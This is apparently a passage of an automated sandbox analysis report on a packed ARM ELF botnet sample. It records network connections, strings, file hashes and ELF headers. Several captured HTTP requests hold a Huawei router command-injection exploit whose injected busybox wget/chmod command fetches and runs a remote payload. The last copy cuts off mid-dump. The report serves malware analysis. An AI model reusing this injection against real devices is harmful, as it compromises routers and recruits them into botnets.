Source: unknown	TCP traffic detected without corresponding DNS query: 156.107.143.161
Source: unknown	TCP traffic detected without corresponding DNS query: 197.108.215.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.30.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.54.180.12
Source: unknown	TCP traffic detected without corresponding DNS query: 197.89.208.248
Source: unknown	TCP traffic detected without corresponding DNS query: 41.1.237.188
Source: unknown	TCP traffic detected without corresponding DNS query: 41.186.244.158
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.155.6
Source: unknown	TCP traffic detected without corresponding DNS query: 41.254.235.187
Source: unknown	TCP traffic detected without corresponding DNS query: 156.170.165.27
Source: unknown	TCP traffic detected without corresponding DNS query: 41.17.235.214
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.238.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.250.57.43
Source: unknown	TCP traffic detected without corresponding DNS query: 41.78.51.182
Source: unknown	TCP traffic detected without corresponding DNS query: 156.201.61.58
Source: unknown	TCP traffic detected without corresponding DNS query: 197.116.40.146
Source: unknown	TCP traffic detected without corresponding DNS query: 156.188.235.186
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.163.233
Source: unknown	TCP traffic detected without corresponding DNS query: 156.153.14.55
Source: unknown	TCP traffic detected without corresponding DNS query: 41.114.153.25
Source: unknown	TCP traffic detected without corresponding DNS query: 197.77.182.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.41.145.132
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.194.17
Source: unknown	TCP traffic detected without corresponding DNS query: 156.137.172.242
Source: unknown	TCP traffic detected without corresponding DNS query: 156.38.93.156
Source: unknown	TCP traffic detected without corresponding DNS query: 197.217.145.159
Source: unknown	TCP traffic detected without corresponding DNS query: 41.44.48.2
Source: unknown	TCP traffic detected without corresponding DNS query: 156.95.220.9
Source: unknown	TCP traffic detected without corresponding DNS query: 156.15.85.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.234.211
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.85.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.39.140.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.59.97.219
Source: unknown	TCP traffic detected without corresponding DNS query: 41.172.40.173
Source: unknown	TCP traffic detected without corresponding DNS query: 197.179.19.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.150.219
Source: unknown	TCP traffic detected without corresponding DNS query: 156.191.229.134
Source: unknown	TCP traffic detected without corresponding DNS query: 156.144.67.192
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.112.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.123.3.135
Source: unknown	TCP traffic detected without corresponding DNS query: 156.121.246.1
Source: unknown	TCP traffic detected without corresponding DNS query: 41.51.253.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.137.52
Source: unknown	TCP traffic detected without corresponding DNS query: 197.189.155.240

Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://2.56.57.187/bins/mips;
Source: DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://fast.no/support/crawler.asp)
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://feedback.redkolibri.com/
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: DOSkhmFb90	String found in binary or memory: http://upx.sf.net
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.html)
Source: DOSkhmFb90, 5283.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5285.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5286.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5288.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5289.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5290.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5295.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5300.1.0000000008487afb.00000000556328d3.r-x.sdmp, DOSkhmFb90, 5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	String found in binary or memory: http://www.billybobbot.com/crawler/)

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.773682117716405
Encrypted:	false
SSDEEP:	48:UNuqJFNnr0bSK5Npq4pNsJNcsXNU3N6NA5X5xNtNq4wNZNDNU1LN3o9NjqJNCNqQ:uryHm4pixe3MmbA4wTteJYEnCA5eC9kR
MD5:	A7993B66F3E6B79530D733AC53C37511
SHA1:	690807205AA2EEF55134EBF5765F6FB7F8F3A498
SHA-256:	E832838CE6D67743789B95080EEC7481F03C8EBB84ED7B60B2C4CC13F409118F
SHA-512:	3CE0FA82054B71DFC974EB57A944E17B389649B48842FF34B9BDB14C6A0A6DD796C9C0372AC4CB6A9E4D56D30695A27F38B36B3BE0B62D999326683756FAD3C3
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2022-3-25-0:32:5."/var/log/dpkg.log" 2022-3-24-23:31:40."/var/log/speech-dispatcher/debug-flite" 2021-8-20-13:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2022-3-24-23:31:40."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2022-3-24-23:31:40."/var/log/apt/term.log" 2022-3-24-23:31:40."/var/log/ppp-connect-errors" 2021-8-20-13:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2021-8-20-13:0:0."/var/log/apt/history.log" 2022-3-24-23:31:40."/var/log/boot.log" 2021-8-20-13:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/lightdm/*.log" 2021-8-20-13:0:0."/var/log/mail.log" 2021-8-20-13:0:0."/var/log/debug" 2021-8-20-13:0:0."/var/log/kern.log" 2022-3-24-23:31:40."/var/log/cups/access_log" 2022-3-25-0:32:5."/var/log/ufw.log" 2021-8-20-13:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2021-8-20-13:0:0."/var/lo

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Thu Mar 24 23:31:40 2022, from Unix
Category:	dropped
Size (bytes):	197
Entropy (8bit):	7.004545522543948
Encrypted:	false
SSDEEP:	3:FtIlaUrERHfFsMlYGZlU0UFGs/P/ucIrvYsFTs7Z9bq7xiV02Jx1bdE:XYfQtflBbU0UF7Pu5rvYsFgjbqgO2JxE
MD5:	219B60FF0EE8E44308D2506C9A3AD12F
SHA1:	95C916DF350EECB9F1967DBE3FA892F56CA4AD28
SHA-256:	620AB0B865B02C8CA9899C48C8115FE9589DCB4D716201A1C5C5945C91967596
SHA-512:	53956AE26AA1D3CCB6FB35235FE3B9843F68A682C58BA853CAAC95E5E40C13712F04CA6E7CF8B62A137B798BE6E30274E11A98A4BDCEA0AE9E3B9A530E6292D4
Malicious:	false
Preview:	....\.<b......0.....q5...5....I`3.XK$6.........;2.{Q. ...IV...P..1.1...w.my.j.p..R....I.A...V...hYT.#.......cl.....7n..O.........%:O.....(.o..r~0L........(,3...EK...+.....}...G....

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	7.973045613882828
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	DOSkhmFb90
File size:	44104
MD5:	d5a48fb2bc18218471d306987c729fdc
SHA1:	a728bc942287958b0e46e7ecff3c521afba2a120
SHA256:	06a11b18c070410d9b53933d08915ae1e371fef0e6fea0c173ab96914b8098ec
SHA512:	90441102c7a2fda904c244a0176cd26a4708b871f8d78ee0c8c26ef807b75093d29cb59bfabf0c1cc1bcab62b7732b036cb8462af4b138d712941dbac18acc71
SSDEEP:	768:RZeuZkxU/klRPgS18taSoLG92QN9P6gbJvcE4sHxL2rjWZrU/e/1S/BIehdGUJ3R:qqH/SYudSoLDQNUgbJvc1sRLBUG/1S/p
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................G...G...........................................Q.td............................t.6.UPX!........\|...\|.......S..........?.E.h;.}...^..........fT...t..m.j(.]...V...qZ.s.v.!.\|.Q$....o6K.3#V.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x11998
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8000	0x8000	0xab47	0xab47	4.0265	0x5	R E	0x8000
LOAD	0xa0c	0x30a0c	0x30a0c	0x0	0x0	0.0000	0x6	RW	0x8000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 